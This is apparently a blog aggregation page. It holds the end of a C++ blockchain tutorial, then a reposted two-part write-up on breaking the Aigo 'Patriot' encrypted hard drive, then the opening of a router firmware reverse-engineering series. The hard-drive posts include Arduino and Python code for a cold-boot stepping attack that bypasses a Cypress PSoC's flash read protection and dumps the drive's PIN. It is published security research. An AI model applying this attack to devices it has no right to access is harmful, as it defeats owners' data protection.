gcc —lstdc++ \

—o TestChain \

—std=c++11 \

—stdlib=libc++ \

—x c++ \

main.cpp Block.cpp Blockchain.cpp sha256.cpp

./TestChain

If all goes well you should see an output like this:

Mining block 1…

Block mined: 000000c1b50cb30fd8d9a0f2e16e38681cfcf9caead098cea726854925ab3772

Mining block 2…

Block mined: 0000005081063c8c854d11560cfea4fe734bde515a08565c26aa05448eea184e

Mining block 3…

Block mined: 000000ea61810fa85ff636440eb803263daf06b306c607aced9a1f996a421042

Congratulations, you have just written a blockchain from scratch in C++, in case you got lost I’ve put all the files into a Github repo. Since the original code for Bitcoin was also written in C++, why not take a look at its code and see what improvements you can make to what we’ve started off today?

Orig post

02.07.201802.07.2018

Aigo Chinese encrypted HDD − Part 2: Dumping the Cypress PSoC 1

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

TL;DR

I dumped a Cypress PSoC 1 (CY8C21434) flash memory, bypassing the protection, by doing a cold-boot stepping attack, after reversing the undocumented details of the in-system serial programming protocol (ISSP).

It allows me to dump the PIN of the hard-drive from part 1 directly:

$ ./psoc.py 
syncing:  KO  OK
[...]
PIN:  1 2 3 4 5 6 7 8 9  

Code:

Introduction

So, as we have seen in part 1, the Cypress PSoC 1 CY8C21434 microcontroller seems like a good target, as it may contain the PIN itself. And anyway, I could not find any public attack code, so I wanted to take a look at it.

Our goal is to read its internal flash memory and so, the steps we have to cover here are to:

manage to “talk” to the microcontroller
find a way to check if it is protected against external reads (most probably)
find a way to bypass the protection

There are 2 places where we can look for the valid PIN:

the internal flash memory
the SRAM, where it may be stored to compare it to the PIN entered by the user

ISSP Protocol

ISSP ??

“Talking” to a micro-controller can imply different things from vendor to vendor but most of them implement a way to interact using a serial protocol (ICSP for Microchip’s PIC for example).

Cypress’ own proprietary protocol is called ISSP for “in-system serial programming protocol”, and is (partially) described in its documentation. US Patent US7185162 also gives some information.

There is also an open source implemention called HSSP, which we will use later.

ISSP basically works like this:

reset the µC
output a magic number to the serial data pin of the µC to enter external programming mode
send commands, which are actually long strings of bits called “vectors”

The ISSP documentation only defines a handful of such vectors:

Initialize-1
Initialize-2
Initialize-3 (3V and 5V variants)
ID-SETUP
READ-ID-WORD
SET-BLOCK-NUM: 10011111010dddddddd111 where dddddddd=block #
BULK ERASE
PROGRAM-BLOCK
VERIFY-SETUP
READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 where DDDDDDDD = data out, aaaaaa = address (6 bits)
WRITE-BYTE: 10010aaaaaadddddddd111 where dddddddd = data in, aaaaaa = address (6 bits)
SECURE
CHECKSUM-SETUP
READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1 where DDDDDDDDDDDDDDDD = Device Checksum data out
ERASE BLOCK

For example, the vector for Initialize-2 is:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Each vector is 22 bits long and seem to follow some pattern. Thankfully, the HSSP doc gives us a big hint: “ISSP vector is nothing but a sequence of bits representing a set of instructions.”

Demystifying the vectors

Now, of course, we want to understand what’s going on here. At first, I thought the vectors could be raw M8C instructions, but the opcodes did not match.

Then I just googled the first vector and found this research by Ahmed Ismail which, while it does not go into much details, gives a few hints to get started: “Each instruction starts with 3 bits that select 1 out of 4 mnemonics (read RAM location, write RAM location, read register, or write register.) This is followed by the 8-bit address, then the 8-bit data read or written, and finally 3 stop bits.”

Then, reading the Techical reference manual’s section on the Supervisory ROM (SROM) is very useful. The SROM is hardcoded (ROM) in the PSoC and provides functions (like syscalls) for code running in “userland”:

00h : SWBootReset
01h : ReadBlock
02h : WriteBlock
03h : EraseBlock
06h : TableRead
07h : CheckSum
08h : Calibrate0
09h : Calibrate1

By comparing the vector names with the SROM functions, we can match the various operations supported by the protocol with the expected SROM parameters.

This gives us a decoding of the first 3 bits :

100 => “wrmem”
101 => “rdmem”
110 => “wrreg”
111 => “rdreg”

But to fully understand what is going on, it is better to be able to interact with the µC.

Talking to the PSoC

As Dirk Petrautzki already ported Cypress’ HSSP code on Arduino, I used an Arduino Uno to connect to the ISSP header of the keyboard PCB.

Note that over the course of my research, I modified Dirk’s code quite a lot, you can find my fork on GitHub: here, and the corresponding Python script to interact with the Arduino in my cypress_psoc_tools repository.

So, using the Arduino, I first used only the “official” vectors to interact, and in order to try to read the internal ROM using the VERIFY command. Which failed, as expected, most probably because of the flash protection bits.

I then built my own simple vectors to read/write memory/registers.

Note that we can read the whole SRAM, even though the flash is protected !

Identifying internal registers

After looking at the vector’s “disassembly”, I realized that some undocumented registers (0xF8-0xFA) were used to specify M8C opcodes to execute directly !

This allowed me to run various opcodes such as ADD, MOV A,X, PUSH or JMP, which, by looking at the side effects on all the registers, allowed me to identify which undocumented registers actually are the “usual” ones (A, X, SP and PC).

In the end, the vector’s “dissassembly” generated by HSSP_disas.rb looks like this, with comments added for clarity:

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00      # reset flags
[DE C0 1C] wrreg SP (f6), 0x00         # reset SP
[9F 07 5C] wrmem KEY1, 0x3A            # Mandatory arg for SSC
[9F 20 7C] wrmem KEY2, 0x03            # same
[DE A0 1C] wrreg PCh (f5), 0x00        # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03        # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80         # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30       # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40       # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01         # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06          # "Syscall" number : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00       # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12   # Undocumented op: execute external opcodes

Security bits

At this point, I am able to interact with the PSoC, but I need reliable information about the protection bits of the flash. I was really surprised that Cypress did not give any mean to the users to check the protection’s status. So, I dug a bit more on Google to finally realize that the HSSP code provided by Cypress was updated after Dirk’s fork.

And lo ! The following new vector appears:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00           # Unknown args
[9F E0 1C] wrmem 0xFF, 0x00           # same
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10         # Undocumented syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

By using this vector (see read_security_data in psoc.py), we get all the protection bits in SRAM at 0x80, with 2 bits per block.

The result is depressing: everything is protected in “Disable external read and write” mode ; so we cannot even write to the flash to insert a ROM dumper. The only way to reset the protection is to erase the whole chip 🙁

First (failed) attack: `ROMX`

However, we can try a trick: since we can execute arbitrary opcodes, why not execute ROMX, which is used to read the flash ?

The reasoning here is that the SROM ReadBlock function used by the programming vectors will verify if it is called from ISSP. However, the ROMX opcode probably has no such check.

So, in Python (after adding a few helpers in the Arduino C code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)        # A = 0
    write_reg(0xF3, i&0xFF)      # X = 0
    exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP
    byte = read_reg(0xF0)        # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0])  # print ROM byte

Unfortunately, it does not work 🙁 Or rather, it works, but we get our own opcodes (0x28 0x30 0x40) back ! I do not think it was intended as a protection, but rather as an engineering trick: when executing external opcodes, the ROM bus is rewired to a temporary buffer.

Second attack: cold boot stepping

Since ROMX did not work, I thought about using a variation of the trick described in section 3.1 of Johannes Obermaier and Stefan Tatschner’s paper: Shedding too much Light on a Microcontroller’s Firmware Protection.

Implementation

The ISSP manual give us the following CHECKSUM-SETUP vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Which is just a call to SROM function 0x07, documented as follows (emphasis mine):

The Checksum function calculates a 16-bit checksum over a user specifiable number of blocks, within a single Flash bank starting at block zero. The BLOCKID parameter is used to pass in the number of blocks to checksum. A BLOCKID value of ‘1’ will calculate the checksum of only block 0, while a BLOCKID value of ‘0’ will calculate the checksum of 256 blocks in the bank. The 16-bit checksum is returned in KEY1 and KEY2. The parameter KEY1 holds the lower 8 bits of the checksum and the parameter KEY2 holds the upper 8 bits of the checksum. For devices with multiple Flash banks, the checksum func- tion must be called once for each Flash bank. The SROM Checksum function will operate on the Flash bank indicated by the Bank bit in the FLS_PR1 register.

Note that it is an actual checksum: bytes are summed one by one, no fancy CRC here. Also, considering the extremely limited register set of the M8C core, I suspected that the checksum would be directly stored in RAM, most probably in its final location: KEY1 (0xF8) / KEY2 (0xF9).

So the final attack is, in theory:

Connect using ISSP
Start a checksum computation using the CHECKSUM-SETUP vector
Reset the CPU after some time T
Read the RAM to get the current checksum C
Repeat 3. and 4., increasing T a little each time
Recover the flash content by substracting consecutive checkums C

However, we have a problem: the Initialize-1 vector, which we have to send after reset, overwrites KEY1 and KEY:

1100101000000000000000                 # Magic to put the PSoC in prog mode
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A            # Checksum overwritten here
[9F 20 7C] wrmem KEY2, 0x03            # and here
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09          # SROM function 9
[DF 00 1C] wrreg opc0 (f8), 0x00       # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

But this code, overwriting our precious checksum, is just calling Calibrate1 (SROM function 9)… Maybe we can just send the magic to enter prog mode and then read the SRAM ?

And yes, it works !

The Arduino code implementing the attack is quite simple:

    case Cmnd_STK_START_CSUM:
      checksum_delay = ((uint32_t)getch())<<24;
      checksum_delay |= ((uint32_t)getch())<<16;
      checksum_delay |= ((uint32_t)getch())<<8;
      checksum_delay |= getch();
      if(checksum_delay > 10000) {
         ms_delay = checksum_delay/1000;
         checksum_delay = checksum_delay%1000;
      }
      else {
         ms_delay = 0;
      }
      send_checksum_v();
      if(checksum_delay)
          delayMicroseconds(checksum_delay);
      delay(ms_delay);
      start_pmode();

It reads the checkum_delay
Starts computing the checkum (send_checksum_v)
Waits for the appropriate amount of time, with some caveats:
- I lost some time here until I realized delayMicroseconds is precise only up to 16383µs)
- and then again because delayMicroseconds(0) is totally wrong !
Resets the PSoC to prog mode (without sending the initialization vectors, just the magic)

The final Python code is:

for delay in range(0, 150000):                          # delay in microseconds
    for i in range(0, 10):                              # number of reads for each delay
        try:
            reset_psoc(quiet=True)                      # reset and enter prog mode
            send_vectors()                              # send init vectors
            ser.write("\x85"+struct.pack(">I", delay))  # do checksum + reset after delay
            res = ser.read(1)                           # read arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5)  # open serial port
            continue
        print "%05d %02X %02X %02X" % (delay,           # read RAM bytes
                                       read_regb(0xf1),
                                       read_ramb(0xf8),
                                       read_ramb(0xf9))

What it does is simple:

Reset the PSoC (and send the magic)
Send the full initialization vectors
Call the Cmnd_STK_START_CSUM (0x85) function on the Arduino, with a delay argument in microseconds.
Reads the checksum (0xF8 and 0xF9) and the 0xF1 undocumented registers

This, 10 times per 1 microsecond step.

0xF1 is included as it was the only register that seemed to change while computing the checksum. It could be some temporary register used by the ALU ?

Note the ugly hack I use to reset the Arduino using picocom, when it stops responding (I have no idea why).

Reading the results

The output of the Python script looks like this (simplified for readability):

DELAY F1 F8 F9  # F1 is the unknown reg
                # F8 is the checksum LSB
                # F9 is the checksum MSB

03 E1 19
[...]
F9 00 03
F9 00 00
F9 00 03
F9 00 03
F9 00 03
F9 00 00  # Checksum is reset to 0
FB 00 00
[...]
F8 00 00
80 80 00  # First byte is 0x0080-0x0000 = 0x80 
80 80 00
80 80 00
[...]
CC E7 00  # 2nd byte is 0xE7-0x80: 0x67
CC E7 00
01 17 01  # I have no idea what's going on here
01 17 01
01 17 01
D0 17 01
D0 17 01
D0 17 01
D0 17 01
F8 E7 00  # E7 is back ?
D0 17 01
[...]
E7 E7 00
17 17 00  # Hmmm
[...]
00 17 00
00 17 00
01 17 01  # Oh ! Carry is propagated to MSB
01 17 01
[...]
CC 17 01  # So 0x117-0xE7: 0x30

We however have the the problem that since we have a real check sum, a null byte will not change the value, so we cannot only look for changes in the checksum. But, since the full (8192 bytes) computation runs in 0.1478s, which translates to about 18.04µs per byte, we can use this timing to sample the value of the checksum at the right points in time.

Of course at the beginning, everything is “easy” to read as the variation in execution time is negligible. But the end of the dump is less precise as the variability of each run increases:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Hence the 10 dumps for each µs of delay. The total running time to dump the 8192 bytes of flash was about 48h.

Reconstructing the flash image

I have not yet written the code to fully recover the flash, taking into account all the timing problems. However, I did recover the beginning. To make sure it was correct, I disassembled it with m8cdis:

0000: 80 67     jmp   0068h         ; Reset vector
[...]
0068: 71 10     or    F,010h
006a: 62 e3 87  mov   reg[VLT_CR],087h
006d: 70 ef     and   F,0efh
006f: 41 fe fb  and   reg[CPU_SCR1],0fbh
0072: 50 80     mov   A,080h
0074: 4e        swap  A,SP
0075: 55 fa 01  mov   [0fah],001h
0078: 4f        mov   X,SP
0079: 5b        mov   A,X
007a: 01 03     add   A,003h
007c: 53 f9     mov   [0f9h],A
007e: 55 f8 3a  mov   [0f8h],03ah
0081: 50 06     mov   A,006h
0083: 00        ssc
[...]
0122: 18        pop   A
0123: 71 10     or    F,010h
0125: 43 e3 10  or    reg[VLT_CR],010h
0128: 70 00     and   F,000h ; Paging mode changed from 3 to 0
012a: ef 62     jacc  008dh
012c: e0 00     jacc  012dh
012e: 71 10     or    F,010h
0130: 62 e0 02  mov   reg[OSC_CR0],002h
0133: 70 ef     and   F,0efh
0135: 62 e2 00  mov   reg[INT_VC],000h
0138: 7c 19 30  lcall 1930h
013b: 8f ff     jmp   013bh
013d: 50 08     mov   A,008h
013f: 7f        ret

It looks good !

Locating the PIN address

Now that we can read the checksum at arbitrary points in time, we can check easily if and where it changes after:

entering a wrong PIN
changing the PIN

First, to locate the approximate location, I dumped the checksum in steps for 10ms after reset. Then I entered a wrong PIN and did the same.

The results were not very nice as there’s a lot of variation, but it appeared that the checksum changes between 120000µs and 140000µs of delay. Which was actually completely false and an artefact of delayMicrosecondsdoing non-sense when called with 0.

Then, after losing about 3 hours, I remembered that the SROM’s CheckSum syscall has an argument that allows to specify the number of blocks to checksum ! So we can easily locate the PIN and “bad PIN” counter down to a 64-byte block.

My initial runs gave:

No bad PIN          |   14 tries remaining  |   13 tries remaining
                    |                       |
block 125 : 0x47E2  |   block 125 : 0x47E2  |   block 125 : 0x47E2
block 126 : 0x6385  |   block 126 : 0x634F  |   block 126 : 0x6324
block 127 : 0x6385  |   block 127 : 0x634F  |   block 127 : 0x6324
block 128 : 0x82BC  |   block 128 : 0x8286  |   block 128 : 0x825B

Then I changed the PIN from “123456” to “1234567”, and I got:

No bad try            14 tries remaining
block 125 : 0x47E2    block 125 : 0x47E2
block 126 : 0x63BE    block 126 : 0x6355
block 127 : 0x63BE    block 127 : 0x6355
block 128 : 0x82F5    block 128 : 0x828C

So both the PIN and “bad PIN” counter seem to be stored in block 126.

Dumping block 126

Block 126 should be about 125x64x18 = 144000µs after the start of the checksum. So make sure, I looked for checksum 0x47E2 in my full dump, and it looked more or less correct.

Then, after dumping lots of imprecise (because of timing) data, manually fixing the results and comparing flash values (by staring at them), I finally got the following bytes at delay 145527µs:

PIN          Flash content
1234567      2526272021222319141402
123456       2526272021221919141402
998877       2d2d2c2c23231914141402
0987654      242d2c2322212019141402
123456789    252627202122232c2d1902

It is quite obvious that the PIN is stored directly in plaintext ! The values are not ASCII or raw values but probably reflect the readings from the capacitive keyboard.

Finally, I did some other tests to find where the “bad PIN” counter is, and found this :

Delay  CSUM
145996 56E5 (old: 56E2, val: 03)
146020 571B (old: 56E5, val: 36)
146045 5759 (old: 571B, val: 3E)
146061 57F2 (old: 5759, val: 99)
146083 58F1 (old: 57F2, val: FF) <<---- here
146100 58F2 (old: 58F1, val: 01)

0xFF means “15 tries” and it gets decremented with each bad PIN entered.

Recovering the PIN

Putting everything together, my ugly code for recovering the PIN is:

def dump_pin():
    pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
               0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
    last_csum = 0
    pin_bytes = []
    for delay in range(145495, 145719, 16):
        csum = csum_at(delay, 1)
        byte = (csum-last_csum)&0xFF
        print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
        pin_bytes.append(byte)
        last_csum = csum
    print "PIN: ",
    for i in range(0, len(pin_bytes)):
        if pin_bytes[i] in pin_map:
            print pin_map[pin_bytes[i]],
    print

Which outputs:

$ ./psoc.py 
syncing:  KO  OK
Resetting PSoC:  KO  Resetting PSoC:  KO  Resetting PSoC:  OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN:  1 2 3 4 5 6 7 8 9

Great success !

Note that the delay values I used are probably valid only on the specific PSoC I have.

What’s next ?

So, to sum up on the PSoC side in the context of our Aigo HDD:

we can read the SRAM even when it’s protected (by design)
we can bypass the flash read protection by doing a cold-boot stepping attack and read the PIN directly

However, the attack is a bit painful to mount because of timing issues. We could improve it by:

writing a tool to correctly decode the cold-boot attack output
using a FPGA for more precise timings (or use Arduino hardware timers)
trying another attack: “enter wrong PIN, reset and dump RAM”, hopefully the good PIN will be stored in RAM for comparison. However, it is not easily doable on Arduino, as it outputs 5V while the board runs on 3.3V.

One very cool thing to try would be to use voltage glitching to bypass the read protection. If it can be made to work, it would give us absolutely accurate reads of the flash, instead of having to rely on checksum readings with poor timings.

As the SROM probably reads the flash protection bits in the ReadBlock “syscall”, we can maybe do the same as in described on Dmitry Nedospasov’s blog, a reimplementation of Chris Gerlinsky’s attack presented at REcon Brussels 2017.

One other fun thing would also be to decap the chip and image it to dump the SROM, uncovering undocumented syscalls and maybe vulnerabilities ?

Conclusion

To conclude, the drive’s security is broken, as it relies on a normal (not hardened) micro-controller to store the PIN… and I have not (yet) checked the data encryption part !

What should Aigo have done ? After reviewing a few encrypted HDD models, I did a presentation at SyScan in 2015 which highlights the challenges in designing a secure and usable encrypted external drive and gives a few options to do something better 🙂

Overall, I spent 2 week-ends and a few evenings, so probably around 40 hours from the very beginning (opening the drive) to the end (dumping the PIN), including writing those 2 blog posts. A very fun and interesting journey 😉

02.07.201802.07.2018

Aigo Chinese encrypted HDD − Part 1: taking it apart

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

Introduction

Analyzing and breaking external encrypted HDD has been a “hobby” of mine for quite some time. With my colleagues Joffrey Czarny and Julien Lenoir we looked at several models in the past:

Zalman VE-400
Zalman ZM-SHE500
Zalman ZM-VE500

Here I am going to detail how I had fun with one drive a colleague gave me: the Chinese Aigo “Patriot” SK8671, which follows the classical design for external encrypted HDDs: a LCD for information diplay and a keyboard to enter the PIN.

DISCLAIMER: This research was done on my personal time and is not related to my employer.


Enclosure	Packaging

The user must input a password to access data, which is supposedly encrypted.

Note that the options are very limited:

the PIN can be changed by pressing F1 before unlocking
the PIN must be between 6 and 9 digits
there is a wrong PIN counter, which (I think) destroys data when it reaches 15 tries.

In practice, F2, F3 and F4 are useless.

Hardware design

Of course one of the first things we do is tear down everything to identify the various components.

Removing the case is actually boring, with lots of very small screws and plastic to break.

In the end, we get this (note that I soldered the 5 pins header):

Main PCB

The main PCB is pretty simple:

Important parts, from top to bottom:

connector to the LCD PCB (CN1)
beeper (SP1)
Pm25LD010 (datasheet) SPI flash (U2)
Jmicron JMS539 (datasheet) USB-SATA controller (U1)
USB 3 connector (J1)

The SPI flash stores the JMS539 firmware and some settings.

LCD PCB

The LCD PCB is not really interesting:

It has:

an unknown LCD character display (with Chinese fonts probably), with serial control
a ribbon connector to the keyboard PCB

Keyboard PCB

Things get more interesting when we start to look at the keyboard PCB:

Here, on the back we can see the ribbon connector and a Cypress CY8C21434 PSoC 1 microcontroller (I’ll mostly refer to it as “µC” or “PSoC”):

The CY8C21434 is using the M8C instruction set, which is documented in the Assembly Language User Guide.

The product page states it supports CapSense, Cypress’ technology for capacitive keyboards, the technology in use here.

You can see the header I soldered, which is the standard ISSP programming header.

Following wires

It is always useful to get an idea of what’s connected to what. Here the PCB has rather big connectors and using a multimeter in continuity testing mode is enough to identify the connections:

Some help to read this poorly drawn figure:

the PSoC is represented as in the datasheet
the next connector on the right is the ISSP header, which thankfully matches what we can find online
the right most connector is the clip for the ribbon, still on the keyboard PCB
the black square contains a drawing of the CN1 connector from the main PCB, where the cable goes to the LCD PCB. P11, P13 and P4 are linked to the PSoC pins 11, 13 and 4 through the LCD PCB.

Attack steps

Now that we know what are the different parts, the basic steps would be the same as for the drives analyzed in previous research :

make sure basic encryption functionnality is there
find how the encryption keys are generated / stored
find out where the PIN is verified

However, in practice I was not really focused on breaking the security but more on having fun. So, I did the following steps instead:

dump the SPI flash content
try to dump PSoC flash memory (see part 2)
start writing the blog post
realize that the communications between the Cypress PSoC and the JMS539 actually contains keyboard presses
verify that nothing is stored in the SPI when the password is changed
be too lazy to reverse the 8051 firmware of the JMS539
TBD: finish analyzing the overall security of the drive (in part 3 ?)

Dumping the SPI flash

Dumping the flash is rather easy:

connect probes to the CLK, MOSI, MISO and (optionally) EN pins of the flash
sniff the communications using a logic analyzer (I used a Saleae Logic Pro 16)
decode the SPI protocol and export the results in CSV
use decode_spi.rb to parse the results and get a dump

Note that this works very well with the JMS539 as it loads its whole firmware from flash at boot time.

$ decode_spi.rb boot_spi1.csv dump
0.039776 : WRITE DISABLE
0.039777 : JEDEC READ ID
0.039784 : ID 0x7f 0x9d 0x21
---------------------
0.039788 : READ @ 0x0
0x12,0x42,0x00,0xd3,0x22,0x00,
[...]
$ ls --size --block-size=1 dump
49152 dump
$ sha1sum dump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125  dump

Unfortunately it does not seem obviously useful as:

the content did not change after changing the PIN
the flash is actually never accessed after boot

So it probably only holds the firmware for the JMicron controller, which embeds a 8051 microcontroller.

Sniffing communications

One way to find which chip is responsible for what is to check communications for interesting timing/content.

As we know, the USB-SATA controller is connected to the screen and the Cypress µC through the CN1 connector and the two ribbons. So, we hook probes to the 3 relevant pins:

P4, generic I/O in the datasheet
P11, I²C SCL in the datasheet
P13, I²C SDA in the datasheet

We then launch Saleae logic analyzer, set the trigger and enter “123456✓” on the keyboard. Which gives us the following view:

You can see 3 differents types of communications:

on the P4 channel, some short bursts
on P11 and P13, almost continuous exchanges

Zooming on the first P4 burst (blue rectangle in previous picture), we get this :

You can see here that P4 is almost 70ms of pure regular signal, which could be a clock. However, after spending some time making sense of this, I realized that it was actually a signal for the “beep” that goes off every time a key is touched… So it is not very useful in itself, however, it is a good marker to know when a keypress was registered by the PSoC.

However, we have on extra “beep” in the first picture, which is slightly different: the sound for “wrong pin” !

Going back to our keypresses, when zooming at the end of the beep (see the blue rectangle again), we get:

Where we have a regular pattern, with a (probable) clock on P11 and data on P13. Note how the pattern changes after the end of the beep. It could be interesting to see what’s going on here.

2-wires protocols are usually SPI or I²C, and the Cypress datasheet says the pins correspond to I²C, which is apparently the case:

The USB-SATA chipset constantly polls the PSoC to read the key state, which is ‘0’ by default. It then changes to ‘1’ when key ‘1’ was pressed.

The final communication, right after pressing “✓”, is different if a valid PIN is entered. However, for now I have not checked what the actual transmission is and it does not seem that an encryption key is transmitted.

Anyway, see part 2 to read how I did dump the PSoC internal flash.

27.06.2018

Practical Reverse Engineering Part 5 — Digging Through the Firmware

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about

Part 1: Hunting for Debug Ports
Part 2: Scouting the Firmware
Part 3: Following the Data
Part 4: Dumping the Flash
Part 5: Digging Through the Firmware

In part 4 we extracted the entire firmware from the router and decompressed it. As I explained then, you can often get most of the firmware directly from the manufacturer’s website: Firmware upgrade binaries often contain partial or entire filesystems, or even entire firmwares.

In this post we’re gonna dig through the firmware to find potentially interesting code, common vulnerabilities, etc.

I’m gonna explain some basic theory on the Linux architecture, disassembling binaries, and other related concepts. Feel free to skip some of the parts marked as [Theory]; the real hunt starts at ‘Looking for the Default WiFi Password Generation Algorithm’. At the end of the day, we’re just: obtaining source code in case we can use it, using grep and common sense to find potentially interesting binaries, and disassembling them to find out how they work.

One step at a time.

Gathering and Analysing Open Source Components

GPL Licenses — What They Are and What to Expect [Theory]

Linux, U-Boot and other tools used in this router are licensed under the General Public License. This license mandates that the source code for any binaries built with GPL’d projects must be made available to anyone who wants it.

Having access to all that source code can be a massive advantage during the reversing process. The kernel and the bootloader are particularly interesting, and not just to find security issues.

When hunting for GPL’d sources you can usually expect one of these scenarios:

The code is freely available on the manufacturer’s website, nicely ordered and completely open to be tinkered with. For instance: apple products or theamazon echo
The source code is available by request
- They send you an email with the sources you requested
- They ask you for “a reasonable amount” of money to ship you a CD with the sources
They decide to (illegally) ignore your requests. If this happens to you, consider being nice over trying to get nasty.

In the case of this router, the source code was available on their website, even though it was a huge pain in the ass to find; it took me a long time of manual and automated searching but I ended up finding it in the mobile version of the site:

ls -lh gpl_source

But what if they’re hiding something!? How could we possibly tell whether the sources they gave us are the same they used to compile the production binaries?

Challenges of Binary Verification [Theory]

Theoretically, we could try to compile the source code ourselves and compare the resulting binary with the one we extracted from the device. In practice, that is extremely more complicated than it sounds.

The exact contents of the binary are strongly tied to the toolchain and overall environment they were compiled in. We could try to replicate the environment of the original developers, finding the exact same versions of everything they used, so we can obtain the same results. Unfortunately, most compilers are not built with output replicability in mind; even if we managed to find the exact same version of everything, details like timestamps, processor-specific optimizations or file paths would stop us from getting a byte-for-byte identical match.

If you’d like to read more about it, I can recommend this paper. The authors go through the challenges they had to overcome in order to verify that the official binary releases of the application ‘TrueCrypt’ were not backdoored.

Introduction to the Architecture of Linux [Theory]

In multiple parts of the series, we’ve discussed the different components found in the firmware: bootloader, kernel, filesystem and some protected memory to store configuration data. In order to know where to look for what, it’s important to understand the overall architecture of the system. Let’s quickly review this device’s:

Linux Architecture

The bootloader is the first piece of code to be executed on boot. Its job is to prepare the kernel for execution, jump into it and stop running. From that point on, the kernel controls the hardware and uses it to run user space logic. A few more details on each of the components:

Hardware: The CPU, Flash, RAM and other components are all physically connected
Linux Kernel: It knows how to control the hardware. The developers take the Open Source Linux kernel, write drivers for their specific device and compile everything into an executable Kernel. It manages memory, reads and writes hardware registers, etc. In more complex systems, “kernel modules” provide the possibility of keeping device drivers as separate entities in the file system, and dynamically load them when required; most embedded systems don’t need that level of versatility, so developers save precious resources by compiling everything into the kernel
libc (“The C Library”): It serves as a general purpose wrapper for the System Call API, including extremely common functions like printf, malloc or system. Developers are free to call the system call API directly, but in most cases, it’s MUCH more convenient to use libc. Instead of the extremely common glibc (GNU C library) we usually find in more powerful systems, this device uses a version optimised for embedded devices: uClibc.
User Applications: Executable binaries in /bin/ and shared objects in /lib/(libraries that contain functions used by multiple binaries) comprise most of the high-level logic. Shared objects are used to save space by storing commonly used functions in a single location

Bootloader Source Code

As I’ve mentioned multiple times over this series, this router’s bootloader is U-Boot. U-Boot is GPL licensed, but Huawei failed to include the source code in their website’s release.

